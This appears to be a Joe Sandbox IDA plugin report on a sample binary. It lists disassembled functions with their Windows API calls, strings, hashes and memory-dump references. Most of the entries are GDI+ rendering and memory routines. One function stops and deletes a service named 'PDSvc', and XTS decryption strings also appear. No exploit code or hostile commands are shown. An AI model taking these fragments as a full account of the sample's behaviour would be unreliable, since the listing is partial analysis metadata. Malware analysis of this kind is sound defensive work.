Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Service$CloseHandleOpenQuerySleepStatus$ControlDeleteManager
String ID: PDSvc
API String ID: 2902594379-694389191
Opcode ID: 18ef353e2f3e6fe88b6064f38104e4e2009b59f4e5c50a92099b0e8282a9d167
Instruction ID: 212d54a4e74034282ccee0f31bf4c198baec525568f7ed870f6b069659ef7540
Opcode Fuzzy Hash: 18ef353e2f3e6fe88b6064f38104e4e2009b59f4e5c50a92099b0e8282a9d167
Instruction Fuzzy Hash: 29E0653664271167C22227506C2DBBF39259BAAB53F040014F601951F5CF688445E766

Function 004713B0 Relevance: 12.1, APIs: 8, Instructions: 104COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004713DC
GdipCreateFromHDC.GDIPLUS(00000000,?,?,?,?,?,?,?,005450A0,000000FF,?,00471317), ref: 004713F8
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 00471429
GdipSetTextRenderingHint.GDIPLUS(00471317,00000005), ref: 0047143B
GdipMeasureString.GDIPLUS(00471317,?,000000FF,00000000,?,00000000,?,000000FF,?), ref: 00471481
ReleaseDC.USER32(00000000,00000000), ref: 00471492
GdipDeleteStringFormat.GDIPLUS(00000000), ref: 0047149F
GdipDeleteGraphics.GDIPLUS(00471317), ref: 004714AD

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$CreateDeleteFormat$FromGraphicsHintMeasureReleaseRenderingText
String ID:
API String ID: 1461394554-0
Opcode ID: a841c22d1ba813317989dea405998b52f30600b237288a2a0fefa29c0d7e33da
Instruction ID: ab721c78b5136c50d56373f1f2aca0b7c119ef84d06e3f123cf32b1f00f6219f
Opcode Fuzzy Hash: a841c22d1ba813317989dea405998b52f30600b237288a2a0fefa29c0d7e33da
Instruction Fuzzy Hash: D8418471A00309EFDB00CFA8DC48BEEBBB4FB59715F10822AE915E7290E7755905DBA4

Function 00430760 Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(005BDCE4), ref: 00430770
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00430788
EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,TIP), ref: 004307B5
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 004307C7

Part of subcall function 004C24A0: WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,?, v,00000000,00000000,00000000,?,00000000,?,00000003,?,00583B28,00000000), ref: 004C2699

EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,TIP), ref: 004307F0
LeaveCriticalSection.KERNEL32(005BDCE4), ref: 00430802

Strings

TIP, xrefs: 00430796, 004307D5, 00430810
Dialog, xrefs: 0043079C, 004307DB, 00430816

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ByteCharMultiWide
String ID: Dialog$TIP
API String ID: 904232820-147420040
Opcode ID: 8964d6c112c7bca3b53236b8cb33b4d041e69ff2f951fe464d751258f04031f7
Instruction ID: dbf7918c831f9a03d2635bd19e7595eaa05778a5016e3c696951201567c20fcd
Opcode Fuzzy Hash: 8964d6c112c7bca3b53236b8cb33b4d041e69ff2f951fe464d751258f04031f7
Instruction Fuzzy Hash: 38118471380705ABDB14E7769D96FB6ABE8BB44756F04042EB649C3180EAE4F804DB24

Function 004A3230 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

Part of subcall function 004A3510: GetDC.USER32(00000000), ref: 004A354E
Part of subcall function 004A3510: GdipCreateFromHDC.GDIPLUS(00000000,000000FF), ref: 004A356B
Part of subcall function 004A3510: GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 004A35C4
Part of subcall function 004A3510: SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004A35DB
Part of subcall function 004A3510: GdipSetTextRenderingHint.GDIPLUS(005496D0,00000005), ref: 004A3617
Part of subcall function 004A3510: GdipSetStringFormatTrimming.GDIPLUS(00000000,00000002), ref: 004A362D

GdipSetStringFormatTrimming.GDIPLUS(000000FF,00000004,?,00000000,B681F143,00000000,?), ref: 004A32E4
GdipSetStringFormatLineAlign.GDIPLUS(000000FF,00000000), ref: 004A3307

Part of subcall function 004A37E0: GetDC.USER32(00000000), ref: 004A3818
Part of subcall function 004A37E0: GdipCreateFromHDC.GDIPLUS(00000000,00549710,?,?,?,?,?,?,?,?,?,?,?,?,-00000064), ref: 004A3837
Part of subcall function 004A37E0: GdipCreateStringFormat.GDIPLUS(00000000), ref: 004A389F
Part of subcall function 004A37E0: SystemParametersInfoW.USER32(00000030,00000000,-00000064,00000000), ref: 004A38C4
Part of subcall function 004A37E0: GdipSetTextRenderingHint.GDIPLUS(000000FF,00000005), ref: 004A38ED
Part of subcall function 004A37E0: GdipSetStringFormatTrimming.GDIPLUS(00000000,00000000), ref: 004A3900

GdipSetStringFormatTrimming.GDIPLUS(000000FF,00000004,?,00000000,B681F143,00000000,?), ref: 004A32F5

Strings

!@, xrefs: 004A33EF, 004A3462
d, xrefs: 004A32B8
cbfxMessageBox, xrefs: 004A34C5

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$FormatString$CreateTrimming$FromHintInfoParametersRenderingSystemText$AlignLine
String ID: !@$cbfxMessageBox$d
API String ID: 1862861530-2623893205
Opcode ID: fd805fc617f23f0ddbbec1510adcb90817351557563ff82dc7ba3c138e43fe3e
Instruction ID: d1a81a9ce38d88d882e8ecf0d38e09747c162d49e0c5f859e7fe44805090d02b
Opcode Fuzzy Hash: fd805fc617f23f0ddbbec1510adcb90817351557563ff82dc7ba3c138e43fe3e
Instruction Fuzzy Hash: 93917C71A00209DFCB10CFA8D884BAEBBF1FF59314F14416AE905AB390EB75AA45DB44

Function 00486170 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

Part of subcall function 00489F70: GdipCreateStringFormat.GDIPLUS(00000000,00000000,000002CC,B681F143), ref: 00489FE7
Part of subcall function 00489F70: GdipSetStringFormatLineAlign.GDIPLUS(000002CC,00000001), ref: 0048A0FD

Part of subcall function 00412230: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00412288

GdipCreatePath.GDIPLUS(00000000,00000670,000005B4,B681F143,?,?,00000000), ref: 0048638A
GdipCreatePath.GDIPLUS(00000000,00000678,?,?,00000000), ref: 004863A2
GdipCreatePath.GDIPLUS(00000000,00000680,?,?,00000000), ref: 004863BA
GdipCreatePath.GDIPLUS(00000000,00000688,?,?,00000000), ref: 004863D2
GdipCreatePath.GDIPLUS(00000000,00000690,?,?,00000000), ref: 004863EA

Part of subcall function 00489E40: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00489E7C

Strings

%, xrefs: 00486460

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$Create$Path$Concurrency::details::_Concurrent_queue_base_v4::_FormatInternal_throw_exceptionString$AlignLine
String ID: %
API String ID: 3993587154-2567322570
Opcode ID: 78104fb18b7a79f78cd620dd19bb917500539e83cf270f67fb2314767728e3a4
Instruction ID: 255bfa3c1203ba6c6611ab499229da4eb4c3a6f4232d4012b071132f61ba6529
Opcode Fuzzy Hash: 78104fb18b7a79f78cd620dd19bb917500539e83cf270f67fb2314767728e3a4
Instruction Fuzzy Hash: 54A109B0805389DEDB10DF58C55878ABFF0BF05318F1981ADD858AF292D7B99608CFA1

Function 0042E110 Relevance: 10.7, APIs: 7, Instructions: 185COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0040905E), ref: 0042E13A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0042E1C7
GetCursorPos.USER32(?), ref: 0042E1DD
SetWindowPos.USER32(00000000), ref: 0042E2BD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0040905E), ref: 0042E30B
SetWindowPos.USER32(00000000), ref: 0042E33D
LeaveCriticalSection.KERNEL32(?), ref: 0042E34E

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$EnterWindow$CursorInfoLeaveParametersSystem
String ID:
API String ID: 3542279758-0
Opcode ID: f77588df6d40e2a2c5452458e22c8c1e4378ac40ec64d7b6d3882e35b73d68b7
Instruction ID: 0adf947a82cc22e8cdadf97dfe462cb4a18e9a362bfee68fe9ccfdf355158ebd
Opcode Fuzzy Hash: f77588df6d40e2a2c5452458e22c8c1e4378ac40ec64d7b6d3882e35b73d68b7
Instruction Fuzzy Hash: CB61DD30304311EBD708CB65DC98FAAB7A9BF89704F50061EF55697290DB34A954CBAA

Function 004DF380 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004DF447
_memmove.LIBCMT ref: 004DF464
_memmove.LIBCMT ref: 004DF503
_memmove.LIBCMT ref: 004DF522

Strings

M, xrefs: 004DF380
M, xrefs: 004DF396

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove
String ID: M$M
API String ID: 4104443479-2716082652
Opcode ID: 5bb24ca44c51592907520856addba2660847b11f1b4736d21d04624c9af85700
Instruction ID: 63af274ed7d252d932b86dd0c62c3c644047ca8161c42c53bd65e7e67be1847d
Opcode Fuzzy Hash: 5bb24ca44c51592907520856addba2660847b11f1b4736d21d04624c9af85700
Instruction Fuzzy Hash: 0851C571A002049FDB24DF2CD85579EBBB4FF44314F14866EE8169B381D736E905CB90

Function 00420330 Relevance: 10.7, APIs: 7, Instructions: 176memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000000,00000001,?,?,00000001,B681F143,00000001), ref: 004203B2
GlobalLock.KERNEL32(00000000), ref: 004203C3
_memmove.LIBCMT ref: 004203D7
CreateStreamOnHGlobal.OLE32(00000000,00000000,00000000), ref: 004203E5

Part of subcall function 004207F0: GdipAlloc.GDIPLUS(00000010,B681F143,00000000,?,00000000,00000000,0053C6F8,000000FF,?,00420403), ref: 00420819
Part of subcall function 004207F0: GdipLoadImageFromStream.GDIPLUS(00000000,00000004), ref: 00420840

GdipAlloc.GDIPLUS(00000010), ref: 0042041D

Part of subcall function 00408CC0: GdipGetImageHeight.GDIPLUS(?,00000000,00000000,00000000,?,00420435), ref: 00408CD5

Part of subcall function 00408C90: GdipGetImageWidth.GDIPLUS(?,00000000,00000000,00000000,?,0042043D,00000000), ref: 00408CA5

Part of subcall function 00420760: GdipCreateBitmapFromScan0.GDIPLUS(?,?,00000000,0026200A,00000000,B681F143), ref: 004207B8

GlobalUnlock.KERNEL32(00000000), ref: 00420513
GlobalFree.KERNEL32(00000000), ref: 0042051A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$Global$AllocImage$CreateFromStream$BitmapFreeHeightLoadLockScan0UnlockWidth_memmove
String ID:
API String ID: 4275973583-0
Opcode ID: df9a8e73d0d2d87e9b2bc4ecfa5719eec9267313256c40909baa2f8efe438889
Instruction ID: 2f1dcf6bd82019c055be1a15501efeb8104742cb9a65ed52b3ae44e9ef144ca2
Opcode Fuzzy Hash: df9a8e73d0d2d87e9b2bc4ecfa5719eec9267313256c40909baa2f8efe438889
Instruction Fuzzy Hash: 7351C170B00216AFCB14EF66D854A7FB7F5AF49710F44812EE905AB352DB38AD40CBA5

Function 004C50A0 Relevance: 10.7, APIs: 7, Instructions: 171memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000000,?,?,00000000,?,B681F143,?,00000000), ref: 004C5118
GlobalLock.KERNEL32(00000000), ref: 004C5129
_memmove.LIBCMT ref: 004C513D
CreateStreamOnHGlobal.OLE32(00000000,00000000,00000000,?,00000000), ref: 004C514B

Part of subcall function 004207F0: GdipAlloc.GDIPLUS(00000010,B681F143,00000000,?,00000000,00000000,0053C6F8,000000FF,?,00420403), ref: 00420819
Part of subcall function 004207F0: GdipLoadImageFromStream.GDIPLUS(00000000,00000004), ref: 00420840

GdipAlloc.GDIPLUS(00000010,?,00000000), ref: 004C5183

Part of subcall function 00408CC0: GdipGetImageHeight.GDIPLUS(?,00000000,00000000,00000000,?,00420435), ref: 00408CD5

Part of subcall function 00408C90: GdipGetImageWidth.GDIPLUS(?,00000000,00000000,00000000,?,0042043D,00000000), ref: 00408CA5

Part of subcall function 00420760: GdipCreateBitmapFromScan0.GDIPLUS(?,?,00000000,0026200A,00000000,B681F143), ref: 004207B8

GlobalUnlock.KERNEL32(00000000), ref: 004C5273
GlobalFree.KERNEL32(00000000), ref: 004C527A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$Global$AllocImage$CreateFromStream$BitmapFreeHeightLoadLockScan0UnlockWidth_memmove
String ID:
API String ID: 4275973583-0
Opcode ID: 1e2e060ec0da00ee9f387aa5d731a758271d09dbe4a9b31f959fd7921f91698c
Instruction ID: 9dc68ff19be282a25164d7e04648bc6ea08636f13c523602c7a605cb811b94a2
Opcode Fuzzy Hash: 1e2e060ec0da00ee9f387aa5d731a758271d09dbe4a9b31f959fd7921f91698c
Instruction Fuzzy Hash: 8751E335B006199BDB10DFA6C895BBFB7F8AF88710F44412EF905A7381DB38A9448BD4

Function 0052B720 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 0052CF10: _fprintf.LIBCMT ref: 0052CF2A
Part of subcall function 0052CF10: _raise.LIBCMT ref: 0052CF31

_memmove.LIBCMT ref: 0052B8B2

Strings

xts != NULL, xrefs: 0052B79A
pt != NULL, xrefs: 0052B74D
tweak != NULL, xrefs: 0052B782
src\modes\xts\xts_decrypt.c, xrefs: 0052B748, 0052B763, 0052B77D, 0052B795
ct != NULL, xrefs: 0052B768

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _fprintf_memmove_raise
String ID: ct != NULL$pt != NULL$src\modes\xts\xts_decrypt.c$tweak != NULL$xts != NULL
API String ID: 2200152502-2998850538
Opcode ID: 69af57d825b34a94be16c29eabe8db33a23319598dd3570cadf2c9d73b110b87
Instruction ID: 8280513a5b441771b58343394fae671bbf64bbb92aa6da1e3e6c352855151830
Opcode Fuzzy Hash: 69af57d825b34a94be16c29eabe8db33a23319598dd3570cadf2c9d73b110b87
Instruction Fuzzy Hash: 8B51C672D0022E6BEF15DE64ED81AEE7F68FF55304F140525FD08A7282E731AA04C791

Function 00421370 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0042140F
_memmove.LIBCMT ref: 00421444
_memmove.LIBCMT ref: 0042147B
_memmove.LIBCMT ref: 004214A3
Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004214DD

Strings

deque<T> too long, xrefs: 004214E2

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove$Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID: deque<T> too long
API String ID: 279611364-309773918
Opcode ID: 332fe45bce1ebe25c49b9b6f0ec54a729c6560aaac7db5a74f0828855bb12c40
Instruction ID: 0f62a651c2f72f77b9636ea5b42dad542b9fc3f9c1ccc4485bceb6f92b63de64
Opcode Fuzzy Hash: 332fe45bce1ebe25c49b9b6f0ec54a729c6560aaac7db5a74f0828855bb12c40
Instruction Fuzzy Hash: F941F371B001199BDB10DF98D880BAEB7BAAF94300F58862AD809D7355E774EE01CBE1

Function 004F14C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004F155F
_memmove.LIBCMT ref: 004F1594
_memmove.LIBCMT ref: 004F15CB
_memmove.LIBCMT ref: 004F15F3
Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004F162D

Strings

deque<T> too long, xrefs: 004F1632

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove$Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID: deque<T> too long
API String ID: 279611364-309773918
Opcode ID: 315e743d62de5e459ba6462f3202ae247cd7311b9eda939698d7d40590ba9eec
Instruction ID: e137e9589e79232e9cf7c83c537a5ec3cf7130c1938c08cc892274d1298360be
Opcode Fuzzy Hash: 315e743d62de5e459ba6462f3202ae247cd7311b9eda939698d7d40590ba9eec
Instruction Fuzzy Hash: 7E41E371A00109EBDB10CF98C884BAEB77AFF84304F18862AD905D7255E775EE01CBE1

Function 0042E370 Relevance: 10.6, APIs: 7, Instructions: 123COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0042E39D
GdipCreateFromHDC.GDIPLUS(00000000,?), ref: 0042E3B9
GdipCreateStringFormat.GDIPLUS(00000000), ref: 0042E418
GdipMeasureString.GDIPLUS(00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?), ref: 0042E459
ReleaseDC.USER32(00000000,00000000), ref: 0042E4BF
GdipDeleteStringFormat.GDIPLUS(00000000), ref: 0042E4CC
GdipDeleteGraphics.GDIPLUS(00000000), ref: 0042E4DA

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

